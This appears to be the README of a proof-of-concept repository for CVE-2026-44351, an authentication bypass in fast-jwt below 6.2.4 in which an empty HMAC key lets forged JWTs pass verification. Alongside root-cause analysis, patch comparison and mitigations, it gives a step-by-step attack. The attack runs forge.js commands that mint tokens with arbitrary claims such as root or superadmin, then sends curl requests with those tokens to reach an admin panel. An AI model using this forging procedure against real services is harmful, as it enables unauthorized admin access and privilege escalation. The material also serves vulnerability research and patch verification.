Proof-of-concept для CVE-2026-44351 — обход аутентификации в fast-jwt <6.2.4, где пустой ключ HMAC позволяет злоумышленникам подделывать произвольные JWT, принимаемые как действительные.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Некорректная валидация ключей) / CWE-287 (Некорректная аутентификация) / CWE-326 (Недостаточная стойкость шифрования) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Уязвимые | fast-jwt < 6.2.4 (проверено на 6.2.3) |
| Патч | [email protected] — отклоняет пустые HMAC-ключи с FAST_JWT_INVALID_KEY |
📄 Подробная техническая документация (root cause с реальным кодом, анатомия атаки, анализ патча):
docs/CVE-2026-44351.md
fast-jwt позволяет передавать асинхронную функцию в качестве резолвера ключа (key) — типичный
паттерн при интеграции с сервером JWKS:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Когда kid входящего токена не существует, этот паттерн возвращает ''. fast-jwt
преобразует пустую строку в Buffer нулевой длины (Buffer.alloc(0)), передаёт
его в crypto.createSecretKey (Node принимает его молча) и проверяет подпись токена
с использованием HMAC с пустым ключом.
Поскольку HMAC-SHA256(key='', input='<header>.<payload>') вычислим кем угодно, атакующему
не нужно знать реальный секрет: он подделывает токен с любыми нужными claims
(sub, admin, roles, scopes, iss, aud, …), и верификатор возвращает его как
подлинный.
Затрагивает только путь асинхронного резолвера ключа (функция). Синхронная конфигурация
key: ''корректно отклоняется, посколькуcreateVerifierзамыкается на falsy-значениях.
Уязвимость находится в src/verifier.js. В потоке async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
И подпись проверяется с помощью src/crypto.js:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) работает, HMAC от input вычислим
атакующим, и подделанный токен принимается.
[email protected])| Форма резолвера | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ принимает | ✅ принимает | ✅ принимает |
(d, cb) => cb(null, '') | (default) | ✅ принимает | ✅ принимает | ✅ принимает |
async d => keys[d.header.kid] || '' | (default) | ✅ принимает | ✅ принимает | ✅ принимает |
async () => '' | ['HS256','HS384','HS512'] | ✅ принимает | ✅ принимает | ✅ принимает |
async () => '' | ['HS256','RS256'] | ✅ принимает | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
Атака выполняется вручную: единственный артефакт — forge.js, который создаёт JWT,
подписанный пустым ключом. Отправка и валидация выполняются с помощью curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Docker нужен только для запуска уязвимого target, а не для эксплуатации. Остальная часть атаки выполняется вручную.
Определите реальный JWT приложения (например, из аутентифицированного запроса) и изучите его header/payload без проверки подписи:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Что нужно проверить:
kid → приложение резолвит ключи по kid (возможно, JWKS).kid с 401, но не выдаёт
invalid algo/invalid key, резолвер, вероятно, делает keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
Скрипт всегда подписывает выбранные заголовок {alg, typ, kid} и payload, используя
HMAC-SHA* с пустым ключом (secret: ""), не зная реального секрета приложения.
Скопировав токен (или прочитав его из файла):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Ожидаемый ответ, если цель уязвима:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Случай | Команда | Результат |
|---|---|---|
| Без токена | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Недействительный токен | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Подделанный токен | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + доступ admin |
Обход воспроизводим путём изменения claims и повторения шагов 2–3 (постэксплуатация:
эскалация до role, scopes, другого sub и т. д.).
Быстрое сравнение уязвимой и пропатченной версии:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
Также в Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] или выше: prepareKeyOrSecret отклоняет HMAC-ключи
нулевой длины с FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) как fallback:
возвращать undefined/null и обрабатывать этот случай как ошибку резолвинга ключа.cache: false
на время перехода: кэш верификации (по умолчанию 1000 записей / 600s TTL)
может сохранять ранее принятые подделанные токены.Сервер также предоставляет консоль администратора (public/), чтобы
эксплуатация выглядела как на реальном приложении: корпоративный логин, дашборд с claims, панель
доступа admin и встроенное представление Red Team.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
Демо-аккаунты:
| Password | Роль | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
Приложение имитирует легитимный SaaS:
POST /login выдаёт JWT, подписанный реальным секретом (kid: legit-kid) через
createSigner — signer НЕ уязвим.localStorage и обращается к GET /admin, который использует
уязвимый verifier.'' на чистом JS, RFC 2104 — WebCrypto не принимает ключи нулевой длины) или
вставить токен из node forge.js и проверить /admin. С admin: true отвечает
200 OK → обход подтверждён, не выходя из браузера.Frontend — это только представление: уязвимость остаётся той же (async key resolver с
keys[kid] || ''), и поток ручной атаки сforge.js+curlиз README продолжает работать.
.
├── Dockerfile Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore Excluye node_modules del build context
├── package.json Dependencias: [email protected] (vulnerable)
├── server.js API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js Demo a nivel de librería contra [email protected] (vulnerable)
├── public/ Frontend "app real" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│ └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
├── package.json Dependencias: [email protected] (parcheada)
└── demo.js Misma demo contra [email protected] (parcheado)
Этот материал предназначен только для образовательных целей и исследований в области безопасности. Используйте эксплойт только против собственных приложений или при наличии письменного разрешения владельца. Несанкционированное использование этой техники против сторонних систем незаконно, и ответственность за её использование несёт тот, кто её применяет.